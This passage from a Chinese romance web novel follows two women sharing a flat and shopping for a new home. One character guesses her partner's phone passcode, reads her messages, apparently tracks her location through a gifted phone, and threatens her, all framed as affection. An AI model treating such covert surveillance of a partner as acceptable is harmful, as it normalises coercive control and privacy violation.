大概真的是因为酒精的刺激,岑曳今晚的情绪不太平静。 她上前一步捧住姜又柠的脸,“这四年从来都没想过我吗?” 她要是真的现在还没回国,姜又柠是不是真的会跟颜歆发展? 小时候姜又柠就听姜鸿英的话,只敢嘴上反抗几句,要不是她天天帮忙找理由,姜又柠完全就是个乖乖孩子。 现在同样也是。 因为她们又住在一起了,同吃同睡,所以姜又柠不乐意跟颜歆发展。 “哪有人会去想前任?” 姜又柠没说实话,但她也确实不敢一直想,不仅心裏难受,更怕自己后悔主动去找岑曳求和。 “说实话。”岑曳今晚不想听她狡辩,捏着她的脸不准她撒谎,“想没想?” 姜又柠盯着她的唇,不情不愿地开口,“想了……一点……” 女人笑了一声,“你这张嘴什么时候能跟过去一样,把话说得好听点儿?” “你刚回国的时候还说我的嘴跟过去一样只会胡说八道。” 岑曳抬眸思索了下,好像是有这么回事儿,但那不是姜又柠自己气鼓鼓地非要跟她辩驳几句吗? 她拿她没办法,最开始的那个问题她也知道当下问不出答案。 算了,房子空着就空着吧,迟早都要搬进去的。 岑曳简单收拾了下餐桌,洗完手出来的时候就看见姜又柠皱着眉头用手指头重重地按着手机。 “生什么气呢?” “没有。”姜又柠摇摇头,“手机用太久了,有点卡。” “帮你换个新的?” “不要,我自己有钱,我想换的时候会自己换的。”一个页面半天都加载不出来,退出重进都不行,姜又柠气得将手机重启了。 晚上姜又柠理所当然地被岑曳要求去了主卧睡觉。 她半天都在浴室裏没出来,岑曳听见床上手机在响,看见来电备注是妈妈之后,就放着没动了。 电话很快就被挂断了,变成了连着几下的微信消息震动声。 屏幕又亮了,岑曳看了眼,发现这会儿发消息的不止一个。 备注也都大大咧咧摆出来,没设置隐藏。 岑曳看见了颜歆的名字,动作下意识一顿,将手机再次拿了起来。 有密码。 岑曳思索了下,输入了姜又柠的生日。 不对。 她仔细回想了姜鸿英的生日,输入。 还是不对。 根据出生年份,她排列了好几下姜又柠的生日,都没对。 姜又柠喜欢简单好记的密码,太复杂的她自己也会忘,岑曳想着还有什么可能。 屏幕上出现了一行小字,再输错一次就会锁定五分钟。 岑曳犹豫了下,输入了自己的生日。 解锁了。 她勾唇笑了笑,看来这个密码一直没变过。 还说只有一点想她。 过去的时候姜又柠还特意拿这个密码在她面前炫耀,朝她索要奖励。 两个人闹来闹去,最后便在床上来了一场激烈的欢/爱。 微信最近联系人不多,甚至整个微信这几年都没加多少人。 颜歆的消息是在问候她到家了没有。 岑曳往上翻了下,看到了一张合照。 她抿唇不悦,退出去,点开姜鸿英的聊天界面,这张合照同样被发了过去。 【姜又柠:妈,我跟歆歆姐在吃饭了。】 手机确实卡,岑曳本来就心烦,将手机放回床上,整个人的气压又变得有点低。 没多久姜又柠顶着一个丸子头回了主卧,“睡觉了,怎么还没躺床上?” “看看家具。”岑曳坐在椅子上,翻阅着手中的装修工具书。 “你又要买什么?要是不住这个房子的话,东西搬家很麻烦的。” 虽然有钱就行,虽然岑曳应该也不太在乎搬家麻不麻烦。 “谁说我不住了?”岑曳看她。 “你不是要搬进新房子了?” “裏面什么家具都没有,还得再等等。” “你说了不住这裏了……” 岑曳盯着她的眼睛,一字一句道,“我,反悔了。” “哦,反正随便你。”姜又柠偷偷压下上扬的嘴角,爬上了床,看见手机有未读信息,便点开看。 颜歆发了一条问候她到家没有的消息,她拍了下脑袋,倒是把这件事儿给忘了。 姜鸿英有一个未接电话和好几条消息,但微信也只显示了一个未读的数字‘1.’ 她的手机真是到该换的时候了吧? 上次换是跟岑曳刚分手没多久的时候,那个手机还是去岑家做客的人送的,质量特别好,也没用多久,可她为了把相册上所有的回忆都摒弃掉所以就换掉了,到现在这个手机也用了四年左右了。 “跟房东商量过了,说年前不好租房,续租的话最短也要续租到年后一个月。”岑曳算了下,“差不多五六个月吧,签个半年的合同,你觉得怎么样?” “可以啊。”姜又柠回着消息,抬头看她一眼,“你速度还挺快的。” 不用她操心的感觉真好。 “是吧?”这次岑曳难得邀功,“不做点儿让我开心的?” “今晚不做了吧?”姜又柠的语气裏染着不自知的娇嗔,“……我困。” “行,那做点儿别的。” “什么?” “有空的话就陪我去新家看看。” 姜又柠闻言不语,悻悻地点开微博看八卦,只当自己没听见。 “别装没听见,这次别想着找理由。” 被戳穿了…… 姜又柠用被子把自己盖得严严实实的,翻了个身不看她,打算今晚不给岑曳分被子了。 她要把被子都抢走! 没几分钟,她就感受到女人在她身后躺下,自然而然地掀起被子,将她拢进了怀裏。 一夜好梦。 姜又柠难得早起一次,连着上七天班了,虽然她中间请假休息了一天,但今天上完终于能够享受双休了。 早起吃饭的时候,两个人面对面坐着,但很沉默。 岑曳的视线偶尔落在她的手机上看,姜又柠顺着看一眼,也没觉得有什么问题。 “吃饱了吗?” “饱了饱了,我们得走了吧?”姜又柠看了眼时间,将剩下的半碗豆浆咕嘟咕嘟一口气喝完了。 最近因为颜歆的事情,姜又柠好久没有坐岑曳的车子上班了。 两个人哪怕一前一后地准备出门,姜又柠都要故意迟几分钟,看着一趟电梯下去之后才会等着乘坐第二趟。 这次车子没停在距离办公大楼还有一个路口的地方,反而直接开进了地下停车场。 姜又柠欲言又止,还是没说出口。 工位上庄玟那边的人已经顺利搬了进来,早早地就在工位上坐下埋头办公。 原部门的人也大幅度被影响,没几个闲聊接水上厕所的,这会儿都开始慢慢进入工作状态。 江诗文手裏放着两个首饰盒子,见了姜又柠来,就递给她一个,“两条项链,一模一样,庄玟送过来的,给你啊?” 姜又柠连忙摆摆手,“你都拿着吧,我不要。” “陶家的首饰,你听过吗?国内很有名的珠宝商,赶紧拿着!都是领导的一片心意啊!” “不要不要,我怕岑曳吃醋。”姜又柠推脱不过,便拿出了杀手锏。 “你小脑袋瓜裏还想这些东西啊?”江诗文八卦得很,“那行吧,那我就勉为其难地全收了。” 姜又柠还是仔细对比了一下这两条项链,“她还真送一模一样的礼物啊?就算是大学生裏送礼的那种吃吃喝喝,也会分一下主次吧?” 别说包装盒了,连项链都找不出任何不同点。 “说她没恋爱神经,还敢跟我顶嘴。”江诗文冷哼一声,“要是我的话,就不会这么送,连我喜欢什么图案的首饰都不问。” 她仔细拎着这两条项链打量,捂在心口开心道,“不过她挺大方的,我还以为不会送这么贵的呢,看在钱的面子上我就喜欢一下吧!要是我买了陶家的首饰,我妈妈是真的会骂我乱花钱的!” “我现在就戴上!嘻嘻。”江诗文美滋滋的,“柠柠帮我戴。” 姜又柠站起来帮她将项链戴上了,还给她递过去一个大镜子照了照,“确实很漂亮,还亮闪闪的。” “碎钻挺多的嘛,工艺做得真不错。”江诗文的笑容就没散过。 最后一天上班,姜又柠的心情轻松不少。 上午庄玟路过这裏,特意注意了下江诗文脖子上的项链,“挺喜欢的吧?” 她说着,眸光裏是罕见的得意。 “还行。” 庄玟抱胸,“跟你说过的,我眼光很不错。” “我喜欢这条项链是因为它贵,你觉得是因为你送的吗?” 庄玟变了脸,“要不然呢?” 江诗文:“切。” 几句对话就让庄玟冷着脸走了。 真是易燃易爆炸,两个人都是。 姜又柠敲着键盘,心想面前的八卦确实要比网上干巴巴的帖子要香一点。 快到中午,她打算点个外卖,但刚打开app,手机就闪了下重新启动了。 “服了。”姜又柠吐槽,“别耽误我吃饭啊。” 手机重启之后,她迅速点了个外卖。 刚付完钱手机屏幕就一黑,再次重启了。 这次倒好,直接在logo的界面亮着不动了。 她长按了好几下开机键,还有上下音量键。 这手机就跟死了一样毫无反应。 “手机怎么了?”江诗文凑过来问。 “该换了。”姜又柠嘆口气,“最近特别特别卡,想着能多撑一天是一天,这下倒是直接报废了。” 江诗文拉开了自己的抽屉,“我备用机呢?” “上次喝酒你带出门搞丢了没找回来,你忘了吗?” “那你下午上班的时候还要干嘛吗?我把我手机给你先给你用着。” “不用。”姜又柠摇摇头,“也不干嘛,反正马上双休了,我正好周末的时候去手机店看看。” 她撑着头苦恼,又是一笔大开销。 月初续租又得交房租了。 怎么花钱跟流水的一样? 下午下班,她开始等岑曳一起下班。 幸好有岑曳在,她可以蹭她的车子回家。 等待的同时,她又不死心地尝试了几下开机。 手机亮了一下午,此刻已经息屏了,应该是彻底没电了。 她将充电器连接好,等了几分钟重启手机的时候仍旧停在了logo的界面没有动静,她只能再度放弃。 岑曳推开办公室的门,视线立即就往这边望。 看见她乖巧地坐着,露出了会心地笑意朝着她走过来。 “等我呢?” “你下次能不能早一点下班?” 周围都没人了,她连手机都没得玩,怪无聊的。 “可以啊。”岑曳心情好,欣然应允了。 “你这会儿有时间吗?要不我们直接去手机店吧。”姜又柠解释了几句自己手机的问题。 岑曳拿过去看了看,从公文包裏拿出了一个手机盒子。 “给我的?” 姜又柠眼睛亮了亮,这公文包真像岑家客厅角落的那个箱子,她需要的一切都能从裏面拿出来。 “不是说你手机卡,昨天下的单,今早就送到了,但太忙了没时间给你。”岑曳示意她打开瞧一瞧,“已经开机检查过了,没什么问题。” “多少钱?我自己也有钱买。” “行了,知道你偷着乐呢,送你的。” 姜又柠轻轻哼了一声,“我自己也能去网上搜到价钱的。” 岑曳笑了笑,“喜欢吗?” “喜欢啊!” 雪中送炭,还送得这么及时,谁不喜欢啊? “我回家再研究吧!”姜又柠想了想,“但还是得去趟售后店,我得把我这个旧手机修一下。” “裏面有什么重要数据吗?” “也没有,就是一些我平常拍的好吃的饭啊什么的。”姜又柠说,“不过诗文那裏也都有这些照片的。” 她也很少自己出门,拍照都是跟江诗文一起的,无论双人照单人照,江诗文那裏都有备份。 修不修都无所谓,但修好了她也省得再麻烦了。 “那就别修了。”岑曳想到昨晚那张照片,真以为她想看着这些乱七八糟的数据被修回来? 她不会给姜又柠这个机会的。 两个手机也不是一个牌子,也不用折腾地来回倒腾数据。 岑曳碰了碰她的胳膊,“行了,准备回家吧。” 姜又柠点点头,坐着继续研究了几下,“谢谢你哦,我真的很喜欢!” “嗯,喜欢就好。”岑曳也没再催她,只是不动声色地打开了手机地图。 画面上面有两个红色的点。 此刻正紧密地重合在一起—— 作者有话说:[狗头][狗头] 第50章 回家的路上, 姜又柠明显心情不错。 她嘴裏哼着不成调的曲子,低头捣鼓着新手机。 电话卡被取出来装进去,她先是登录了微信。 “啊……消息记录都没了。”姜又柠有点惋惜, “我没看的新消息也会消失不见吗?” 虽然也不会有人给她发什么重要的消息。 “没了就没了。”岑曳随口一答。 她没有参与过的东西留着也没什么价值。 “你说得轻巧嘛。”姜又柠鼓了下腮帮子,“可是我这个人有点念旧哎。” “念旧?” 女人刻意重复这两个字,姜又柠一下子就明白她在故意内涵些什么。 “不念你。”姜又柠回怼。 “那我念?” 姜又柠不语, 打开手机摄像头,“看看拍照怎么样?” 趁着红绿灯的空隙, 岑曳凑了个脑袋过去, 新手机的第一张照片就这样拍了下来。 “好看!”姜又柠满眼含笑地欣赏着, “我要比你好看一点点。” 车子终于开到家, 姜又柠脱了鞋子跳到沙发上坐着,回忆着自己旧手机上有什么软件,先把常用的连了网挨个下载。 她给江诗文发了消息要她把之前的照片发过来,那边说她拿个U盘拷贝一下见面了给她。 岑曳将凌乱的鞋子摆好, 看着一尘不染的家裏, 犹豫了下拿了扫帚和拖把开始清理。 这动作搞得姜又柠坐立不安,她又想去帮忙,又想赶紧把自己的手机捣鼓完。 “好好坐着,别光着脚乱跑。” “我知道你关心我,没干的地比较滑嘛。” “这样也很容易踩脏。”岑曳转身拿着拖把去卫生间冲洗, 很快就开始拖第二遍。 姜又柠盘腿而坐, 认真盯着女人来来去去忙碌的动作, “你周末有什么活动吗?” “想做什么?” “不做什么,就是你要是想出门的话,我可以陪你去。”姜又柠双休也不是一直赖在家裏,得看有没有人跟她一起。 她不喜欢独自做事儿, 喜欢跟朋友、亲近的人呆在一块。 “倒是有件事情。”岑曳撑着拖把站,悠悠看向她。 “什么事情?”姜又柠敏锐地察觉到这个眼神不太对劲,后撤了下双手抱住自己的胸。 “跟我去家具城看看。” 姜又柠微愣,“你真要买家具啊?” “房子都买好了,不买家具吗?” 姜又柠意识到,这个女人真的没有骗她,一想到昨天晚上岑曳问过她的话,她心裏就会下意识紧张起来。 “一米五的浴缸,遮光的落地窗帘,还有能讲笑话的机器人,这些家具城应该都有卖吧?”岑曳思索着,“不过机器人应该得去定制。” 姜又柠干巴地眨了几下眼睛。 这些都是她过去幻想着跟岑曳住进大房子裏的时候,自己随口编出来的想要的。 她就是随便一说,过去这么久了,岑曳还能一字不差地说出口。 岑曳冲她勾唇笑了笑,洗澡之前给她扔下一句话,“今晚早点睡,明天可别赖床啊。” “我就要睡到明天中午十二点起!”也不知道女人有没有听到,反正姜又柠不服气地喊。 晚上睡觉的时候,岑曳意外地没来,姜又柠半梦半醒间感受到床空落落的,还有点不习惯。 她披了件外套起夜,看见客厅的灯还亮着,小心翼翼走出去的时候,才看见女人抱着电脑半倚在沙发上,皱眉敲着键盘工作。 “你怎么还没睡?” 岑曳抬眸,“吵醒你了?” “没有,我就是上个厕所。”姜又柠迷迷糊糊道,晃晃悠悠地朝着卫生间去,“我一个人还挺不习惯的。” “没我一起睡觉不习惯吗?” 姜又柠装作没听见,关上了卫生间的门。 糟了,怎么还把实话说出来了…… 她懒得睁开眼睛,坐在马桶上,撑着双腿闭上眼睛,脑子裏是岑曳在沙发上的身影。 她睡得晕晕乎乎的,一出房间门还以为自己回到了过去的岑家。 岑曳的样子没变多少,工作时的面容严肃而又认真,未着妆容的那张脸更加柔和了。 脑海裏好几个属于女人的身影重迭在一起,姜又柠嘆了口气。 岑曳确实没变。 对她还是一如既往地好。 可她现在还有勇气承担这份好吗? “你早点睡。”姜又柠对着客厅的女人叮嘱了一句,回了房间倒头就睡。 岑曳看着她回了房间之后,才收回眼神,视线重新落在屏幕上。 岑千兰难得给她发了一封私人邮件。 裏面先是表达了对于庄玟和江诗文的关爱,还提了句这两个人有没有考虑好什么时候回去结婚? 洋洋洒洒写了些跟岑曳没有任何关系的内容,直到最后一段。 【她们两个还要回来办婚礼,到时候你也请个假回来参加。】 醉翁之意不在酒,岑曳盯着最后这一行字,指尖在回复裏打打删删,最后还是什么都没回,将这封邮件拖进了回收站- 第二天岑曳起得很早,现在项目属于中后期,加班的时间不算太长,她也勉强能够保持良好的作息。 早睡早起,倒是比在总部的时候强太多。 姜又柠的房门从八点到十二点没有任何动静,岑曳也没喊她,一个人坐在餐桌上吃了早餐,又下楼买菜,在厨房裏忙碌着午餐。 大概是小时候吃姜又柠打下手的饭吃太多了,她现在得天天给这位祖宗做饭,买单,伺候着她的衣食住行。 不过,她倒是高兴得很。 她喜欢姜又柠这样依赖她,依旧把她当成家裏的姐姐依赖。 快一点的时候,姜又柠顶着乱糟糟的头发起了床,她脸上的黑眼圈明显,“好香啊,我好像起太晚了……” “昨晚几点睡的?” “九点多啊。” 女人睨她,“嗯?” “昨晚上完厕所回来就睡不着了,四点多才继续睡的……”姜又柠傻呵呵地笑,“都怪新手机太好玩儿了嘛。” “怎么还跟个小孩子一样,换个新手机就兴奋地睡不着。”岑曳手裏端着盘菜,路过她时摸了摸她的脑袋,“去洗漱一下,还挺会找时间起床的。” 一早上没吃东西,姜又柠确实饿了,吃了两大碗米饭。 她搜了下家具城的地址,“你主要想看什么家具啊?” “稀奇古怪的?”岑曳试探性地开口。 床、电视、冰箱等等之类的大型家具,她习惯用之前的牌子,质量也不错,直接在网上订就好了。 她不过就是想找个理由把姜又柠的休息时间全部占据掉而已,不然这祖宗又背着她跟别的女人见面去了。 那些乱七八糟的没什么实际用处的抱枕、装饰品什么的,她摸不清姜又柠具体的喜好,直接去家具城现场挑选倒是比较合适。 “稀奇古怪的,这会儿你不嫌占地方了?”姜又柠酸道,“之前还想把我的奶茶袋子全扔了呢。” “给你空了间房,你想屯什么都行。”岑曳承诺道,“但有一点,别搞得太脏太乱。” “我的卫生习惯非常干净!我的奶茶袋子都是新的!我点外卖的时候特意嘱咐了要用原来的包装袋装,不要用联名的!”姜又柠反驳完后面那句才开始仔细回想前面那句话。 岑曳那强迫症的毛病到底是缓解了还是彻底解决了? 真特意给她留间屋子放她那些稀奇古怪的玩意儿? 不对,她还没答应她要一起住进去呢。 “我,我也不用屋子,我自己有箱子也可以放……” 岑曳看她一眼,“吃饱了没?” 她就是跟她说一声而已,又不是跟她商量,按照姜又柠心口不一的性格,看见留着的屋子心裏绝对乐得很。 “饱了。”姜又柠喝光杯子裏的果汁,“但是有点晕碳了……” “又要睡?” “不睡了不睡了,再睡晚上睡不着了。”姜又柠不敢再浪费时间,回房间换衣服去了。 岑曳将碗筷收进水池裏清洗,顺便叮嘱她,“穿厚一点,今天只有十几度。” 这次路上,姜又柠依旧叽叽喳喳个没完。 “岑曳,你喜欢懒人沙发吗?比单人沙发舒服多了,软软的,下班之后可以直接瘫在上面,根本都不想起来的!” “可以试试。” “那你喜欢五角星抱枕吗?两个胳膊刚好可以从弯角那儿穿过去抱住!靠在沙发上看电视最爽啦!” “那就多买几个。” “五角星买一个,还有别的样式也看看呗!还有水果蔬菜的!” “行,还想买什么?” “我再看看!”姜又柠翻开手机打开便利贴,幸好她上一个便利贴app用手机号登录了,换了手机之后,之前的也都存留了下来。 她找到‘最想买最想买!’的那一页,裏面写了一大堆等她买了房子想要买进家裏的东西。 “这个新手机才用了一天多就监听我?”姜又柠愤愤地说,“开始给我推荐居家好物了!” 岑曳只是笑着,一路上车厢内热闹得很,就像有个喜鹊叽叽喳喳在右耳朵边一直报喜个没完没了。 确实是报喜,在家裏全装满姜又柠喜欢的东西,简直是天大的喜事。 周末家具城裏人挺多的,岑曳推了个推车,姜又柠拦住她,“真要买啊?” “问我几遍了?”岑曳推着车往前面走,“不是要买懒人沙发和抱枕吗?” “装不下装不下。”姜又柠找了个借口。 她提的都是她自己喜欢的,岑曳一定对这种没有实用价值的家具嗤之以鼻。 而且那房子是岑曳全款付的,她不能这么随心所欲。 “看些小玩意儿,摆在置物架上。” 姜又柠拦不住她,只好跟在她身边,不过注意力很快就被周围琳琅满目的家具给吸引过去了。 “我想坐一下五千块的床垫!”姜又柠坐上去弹了几下,眯着眼睛笑得很开心。 她又换了几个更贵的床垫试坐了下,小跑到女人身边,自然地挽过她的胳膊,“之前跟诗文来过一次这裏,她也是搬到小区的时候来买了几个家具的。” 家具城裏分区做得很好,岑曳走到厨房用具那边,认真看了看做饭工具。 她在这方面了解得不深,主要是不经常自己做饭。 “我问问我妈妈,她肯定很清楚的。”姜又柠一下子就猜到女人在想什么,热情地推荐。 “好啊。”岑曳当然求之不得。 岑曳又找负责人下单了不少清洁用品,填好了地址要她们周六早上送到门口。 家具城实在太大了,姜又柠每逛一个区域就要找一个沙发坐下来,岑曳扬扬下巴示意她,“正好到卖沙发的地方了。挑个喜欢的?” 姜又柠不客气了,“新家的沙发买了什么颜色的?” “还没定。”岑曳说,“别太鲜艳就行。” “那就买棕色的皮质沙发好不好?”姜又柠询问她的意见,“懒人沙发的话,白色蓝色都可以啊。” 岑曳在脑子裏想了下这个装潢,虽然不太搭,但还是点头应允了。 没关系,只要是姜又柠喜欢的,都是最搭的。 姜又柠开心地去找了负责这片区域家具的人做了登记,又指着白色和蓝色的懒人沙发再次询问岑曳。 岑曳走过去,“就这两个吧,地址发给你了。” 姜又柠打开微信看了眼,不止有地址,还有电子锁的密码。 “这两天过去了,再给你一把钥匙。”岑曳说,“备用钥匙都在物业那儿,我手裏目前只有一把。” “我不用……” 岑曳勾唇笑,“怎么?每次都想跟我一起过去吗?” “你又在乱发散什么想法啊!”姜又柠走远一步,在负责人递来的表格上填写了姓名和联系方式。 一个多小时过去,推车裏放了几个精致的相框和小摆件。 都是姜又柠挑的,外表看起来就很可爱。 她还故意挑了两个印着貍猫和狐貍的方形抱枕,放进手推车的时候非要把狐貍图案的放在最下面,用貍猫图案的在上面狠狠压几下才算满意。 不远处的大型镂空置物架上拜访了很多水晶球,以及一些迷你的装饰品。 姜又柠弯腰仔细看,看到一个水晶球,球心是白色的圣诞树,外面还飘洒着白色的雪花。 “岑曳,你还记不记得,小时候我特别想要这个,你一听直接就帮我买了。” 岑曳没说话,只是静静注视着她。 那是姜又柠第一次在岑曳的房间过夜之后,吐露心扉,小心翼翼地朝她表达自己喜欢的东西。 还说姜鸿英不给她买这个,说太浪费钱。 她求了姜鸿英好几次,都没能得到这个。 那天她只是随口一提,但岑曳就给她买了。 姜又柠高兴地装进书包裏带去了学校,回来写作业的时候就被姜鸿英看见了摆在作业旁边的水晶球。 姜鸿英对她发了火,嫌她不听话,给她零用钱就去买这些没用的东西。 那个时候她们刚到岑家没多久,姜鸿英手裏没多少钱,之前那几任雇主给的待遇又不是太好,所以姜鸿英只想把钱花在刀刃上。 火气聚集太久,姜又柠很快就被骂哭了,水晶球被摔碎在地上,姜又柠也不敢承认这是岑曳买给她的。 如果承认了是岑曳买给她的,那么姜鸿英肯定不会摔的,但她就会被当成朝雇主要东西的不听话的小孩子。 所以她只能接受是自己攒的零花钱买下来的。 姜鸿英给她的钱不多,只够吃饭,买这个就等同于饿了好多顿肚子。 岑曳回来的时候看到的就是水晶球碎在地上,姜又柠哭着去捡的样子。 姜鸿英见她回来,立即嘘了声,疯狂道歉示意自己马上就会打扫,生怕惹了岑曳不高兴让她被裁。 姜又柠更是急得动作加快了很多,尖锐的玻璃碎片刺破她的手指,鲜血瞬间溢出。 她不想让岑曳看到,她送自己的水晶球就这么轻而易举地碎掉了。 她没有不爱惜的,她还向班裏的同学说了好多遍这是家裏的姐姐送给她的,她特别喜欢。 “别捡了。”岑曳冷脸抓过她的手,带着她去洗漱间冲洗,帮她用碘酒消毒,贴上了创可贴。 “姐姐,我很喜欢这个水晶球的……对不起……”姜又柠忍不住自己的眼泪,“是我没能好好珍惜……” “碎了再买就是。”岑曳微微摇头,“手指疼吗?” “不疼。”姜又柠吸了吸鼻子,“姐姐……” 岑曳半弯腰抱住她,“给你再买个新的好不好?” “我不要了……”姜又柠不好意思再让她给自己买,只是一个劲地摇头。 岑曳无奈嘆了口气,改天就带着她出门买了些新的玩具,好说歹说才哄着她重新收下。 这个上天注定的小祖宗,连给她买东西都得求着她收下呢。 …… “喜欢的话就买。”这个回忆不算甜蜜,岑曳及时喊回了她的思绪。 “这个是小孩子才会喜欢的。”姜又柠重复道,“是不成熟的小孩子才会喜欢的。” “不成熟吗?”岑曳认真看她,“你刚到岑家的时候,倒更像个小大人。” 为了不讨人嫌,她努力做到礼貌客气,写作业只敢占据茶几的一角,沙发都不敢坐。 瘦瘦小小的个子,干起活来毫不含糊,在姜鸿英那边马不停蹄地打下手,生怕岑家母女把她当成爱占便宜的小姑娘,更怕她们母女俩被撵走。 后来的姜又柠嘛,倒是彻彻底底被岑曳宠坏了。 “那我现在呢?”姜又柠没再看水晶球了,望向女人的眼睛,等待着夸赞。 “嗯……”岑曳思索了下,“比小时候还要幼稚。” “岑曳!”姜又柠气冲冲地握拳,“我就知道你跟小时候也不一样,现在根本都不会夸我!” “我没有夸过你吗?”女人压低声音,魅惑的声线引诱着她,“我们柠柠真可爱,抖个没完没了的,哼哼唧唧地这么喜欢撒娇……我的手指根本都抽不出来啊……连我的舌头都吸住不放呢。” 姜又柠捂住耳朵,晃晃脑袋不准自己去想那些乱七八糟的床上的回忆。 她大跨步往前迈了几步,“我要去看下一个区域了!” 今天,她绝对会让岑曳大出血再买上几个毫无实用价值的昂贵家具的! 可刚走没几秒,姜又柠就愣住原地,随后又后退了几下。 岑曳跟上去,看见了不远处的女人。 是颜歆。 岑曳脸上的笑容一下子就没了,她不动声色地握住了姜又柠的手,感受到她的挣扎便顺势十指紧扣了。 “岑曳……”姜又柠还在挣扎着,试图松开女人紧紧握住的手。 女人走到她身后,压低声音警告她,“姜又柠,你最好别再乱动,不然,我可不知道我会在这儿做出什么事情。”—— 作者有话说:[耳朵][耳朵]《 》 50-55 第51章 场面僵持着, 颜歆的视线先是往下望了眼,最后才对上姜又柠的视线,主动走了过来。 “柠柠, 好巧。” “歆歆姐。”姜又柠尴尬地笑了下,将十指紧扣的手试图藏在背后。 但身边岑曳的力气不小,故意跟她作对, 两只手就这样下垂着没动。 越是挣扎,手晃动的幅度就越是大, 所以姜又柠没再乱动了。 “你也来家具城逛啊?”颜歆没有打完招呼就离开的意思, 姜又柠只好主动开口。 “下周准备入职了, 周末跟着中介看看房子, 打算添置些必要的家具。” “那挺好的,这儿的家具挺全的,我逛了挺久的。”姜又柠话说得没什么营养,眼神也不知道该放在哪个地方。 “这位是……”颜歆看向了旁边的岑曳。 “……朋友。”姜又柠立即开口。 岑曳:“女朋友。” 姜又柠的瞳孔张大, 她前不久才跟颜歆说过了自己没有恋爱的想法。 这下不知道颜歆会怎么看她。 “是吗?”颜歆的语气裏有着了然, 垂眸望了眼手推车裏面的物品,“这些抱枕还挺可爱的。” “还可以。”岑曳又一次开口,“柠柠喜欢,那就买了放到我们的新家裏。” 颜歆有些不解,“柠柠, 你们买房子了?” 姜又柠抿唇, 不知道该怎么解释。 颜歆最近去集体宿舍去得很频繁, 要是姜鸿英不小心知道了就完蛋了。 所以她必须要跟颜歆解释清楚岑曳的身份,但岑曳眼下就在身边待着,她一个字都说不了。 两头受难,她现在真的想找个地缝钻进去把自己藏起来。 见姜又柠许久没有开口, 颜歆没再过多等待,“恭喜啊。” 她祝贺了一声,慢慢走远了。 姜又柠目视着女人的方向走远,抿了抿唇,只能之后在微信上嘱咐一下了。 旁边站着个大醋坛子,她真的得罪不起的。 “走了还看?”岑曳的语气有着明显的不满,“要不你跟她一起逛?” “干嘛啦!”姜又柠推过手推车,“我们换个区域逛嘛。” 她拉着岑曳的手,也快步朝着反方向走。 卖西餐厨具的地方人不多,姜又柠走到没人的角落裏对着岑曳说,“你不能跟颜歆姐说我们买房子准备搬新家了。” “这不是事实吗?”岑曳平静睨她,“你要我跟着你撒谎?” “岑曳!我可知道你心裏在想什么!” “那你说说,我在想什么?” 姜又柠当然说不出那么露骨的话,“她是我妈妈朋友的女儿,而且不知道我们之间的关系,万一去集体宿舍那边的时候不小心说漏嘴怎么办啊?” “所以你打算在微信上叮嘱她吗?” 姜又柠立即语塞,岑曳怎么能随时随地看穿她的想法。 “我就跟她见过两次面而已。” “哪两次?” “你不是都知道了吗!” 女人冷脸看她,“哪两次?” “第一次不就是我不知道的相亲局……”姜又柠看见女人眸光中的威胁,便乖巧解释,“第二次嘛,就是我翘班的那次……” 她急忙往下说,“第二次是她说,颜阿姨一直催着她跟我见面,我妈妈也是这个态度的,所以我才跟她吃了顿饭,还拍了张……” 后面的话姜又柠及时打住,“我妈妈这几天真的没再说过这件事情了,真的!” 岑曳面无表情地听她解释,越听越心烦。 这些明明是她已经知道的事情,但从姜又柠的嘴巴裏再听到一次时,就会让她心烦意乱。 “而且她说她目前的计划是把工作稳定下来,不考虑恋爱。”姜又柠说,“我也说了,我目前也没有恋爱的想法。” “没有恋爱的想法?” 姜又柠真讨厌这个女人这样追问她,就像在逼着她承认她自己根本没做过的错事一样。 “你怎么不说,你只是跟她没有恋爱的想法?” 姜又柠翘了翘嘴角,戳戳女人的肩膀,娇嗔道,“那我跟你有,行吗?” 岑曳轻笑了一声,“说完整点。” “我跟歆歆姐没有……” “停!这句别说。” 姜又柠在脑子裏认真组织了下语言,“我跟岑曳有恋爱的想法,岑曳是谁呀?就是我面前这个特别漂亮的姐姐呀!” 这是她从小到大都最擅长的,这点她可没变。 现在看来,岑曳喜欢她这样奉承她的性格也没变。 两个人明明都更加成熟了,但彼此在相处上,都还是幼稚地没边儿了。 “行了,别拍马屁了。”听她就这么简单臭屁两句,岑曳心烦的情绪一下子缓解不少,她勾勾唇带着她继续逛,“还想买些什么?” “不买了不买了,今天已经买很多了。”姜又柠急着离开这儿,她好不容易把岑曳哄好,生怕下一个转角就再次碰上颜歆。 两个人去收银臺结了帐,这些抱枕被放在了后备箱。 “先别抱着了,细菌太多,我联系一下洗衣店,让她们晚上再送到家裏。” 车子朝着新家的方向开,姜又柠这才开始认真地在地图上摸索这个房子的位置。 “大平层……贵吗?” “不算贵,这栋楼紧挨着小区高楼,人口比较聚集。”岑曳随口道,“套内面积也就不到两百。” “我都在地图app上看到房价了……”姜又柠轻轻哼了一声,“这就是有钱人的世界吗?” “我可不是什么有钱人。”岑曳笑了下,“好歹也是我辛苦工作几年买下来的。” “那你没存款了吧?”姜又柠乐呵呵的,“我可以养你呀,我的存款应该够咱俩躺一年……只能躺一年!” “在哪裏躺?跟我一起躺大平层?” 姜又柠不回答了,视线望向外面的风景。 这裏临江,江景很不错,尤其到了傍晚,外面各色灯光一开,甚至绚丽。 岑曳输入密码,姜又柠也没刻意去记,还被女人拉着录入了指纹。 “记性差的话,指纹更方便。” “我记性好着呢!”姜又柠反驳一句,仔细看了看自己录入指纹的手指,偷偷弯曲在掌心挠了挠。 迎面而来的就是客厅超大的落地窗,姜又柠脱了鞋子光脚跑过去,“这裏也太漂亮了!” 岑曳从鞋柜裏找出两双新的棉拖鞋,穿上一双将另一双放在了姜又柠的脚边,“还没铺地毯,地板太冰,别光脚踩。” “我穿袜子了。” “那也得穿上拖鞋。” 岑曳抱胸看了眼客厅,这裏周五的时候她刚让人过来打扫过,沙发是黑色皮质的,还得按照姜又柠喜欢的换成棕色的。 “饿吗?” “你这裏有食材吗?” “没有。”岑曳抱歉道,“厨房裏的厨具都是装修送的,质量应该很差,我还没来得及扔掉,等买了新的再说吧。” “在大平层裏吃外卖也太寒碜了吧……” 出租屋裏吃外卖很匹配,在漂亮的大房子裏就应该吃一些海鲜大餐或者八菜一汤之类的丰盛晚餐吧…… “订了附近的海鲜餐厅,会有服务员送过来。”手机上正好收到短信,说餐食已经出发了,岑曳看了眼预估的时间,将餐桌又仔仔细细擦了几遍,“很快就送过来了。” 姜又柠开始全自动参观,主卧的空间很大,除了两米的宽屏床,落地窗附近就是小沙发和桌子,上面倒挂了红酒杯。 